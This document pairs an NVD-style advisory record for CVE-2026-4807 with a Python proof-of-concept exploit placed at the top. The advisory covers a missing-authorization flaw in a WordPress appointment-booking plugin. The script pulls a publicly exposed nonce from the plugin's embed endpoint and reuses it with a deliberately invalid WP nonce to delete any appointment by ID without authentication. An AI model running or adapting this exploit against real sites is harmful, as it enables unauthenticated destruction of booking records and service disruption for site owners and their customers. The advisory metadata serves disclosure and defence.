CVE-2026-4807

import requests target_url = "http://example.com" # Step 1: Fetch the public nonce from the exposed endpoint embed_endpoint = f"{target_url}/wp-json/ssa/v1/embed-inner" try: response = requests.get(embed_endpoint) data = response.json() public_nonce = data.get('public_nonce') if public_nonce: # Step 2: Use the nonce to delete an arbitrary appointment # Replace TARGET_ID with the actual ID of the appointment to delete appointment_id = "TARGET_ID" delete_endpoint = f"{target_url}/wp-json/ssa/v1/appointments/{appointment_id}/delete" headers = { # X-WP-Nonce can be arbitrary, as it will fail and trigger fallback "X-WP-Nonce": "arbitrary_invalid_nonce", # X-PUBLIC-Nonce contains the valid nonce obtained in Step 1 "X-PUBLIC-Nonce": public_nonce } # Sending the delete request delete_response = requests.post(delete_endpoint, headers=headers) print(f"Delete Status Code: {delete_response.status_code}") print(f"Response Body: {delete_response.text}") else: print("Failed to retrieve public_nonce.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-4807", "sourceIdentifier": "[email protected]", "published": "2026-05-07T03:16:08.673", "lastModified": "2026-05-07T14:00:05.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Appointment Booking Calendar plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.6.10.6. This is due to a flawed authorization logic in the nonce_permissions_check() method combined with the public exposure of a site-wide reusable nonce. The plugin exposes a public_nonce value through the /wp-json/ssa/v1/embed-inner endpoint, which is accessible to unauthenticated users. The appointment deletion endpoint at /wp-json/ssa/v1/appointments/{id}/delete and /wp-json/ssa/v1/appointments/bulk use a permission check that accepts requests containing both an X-WP-Nonce header (with any arbitrary value) and an X-PUBLIC-Nonce header (with the valid public nonce). When the X-WP-Nonce validation fails, the function falls back to validating the X-PUBLIC-Nonce without properly rejecting the request. Since the public_nonce is exposed to all unauthenticated visitors and is site-wide (not user-specific or appointment-specific), attackers can obtain it and use it to view details of arbitrary appointments, including the public_edit_url, or delete arbitrary appointments by ID. This makes it possible for unauthenticated attackers to view, delete or modify any appointment in the system, disclosing sensitive appointment data, causing service disruption, and loss of booking records."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/booking-app-new/iframe-inner.php#L444", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/includes/class-appointment-model.php#L698", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/includes/class-bootstrap.php#L151", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/includes/class-shortcodes.php#L889", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/includes/lib/td-util/class-td-api-model.php#L110", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.29/includes/lib/td-util/class-td-api-model.php#L361", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3511993/simply-schedule-appointments/trunk/includes", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/436ab843-7729-4d57-9c9e-2ede2f101ddb?source=cve", "source": "[email protected]"}]}}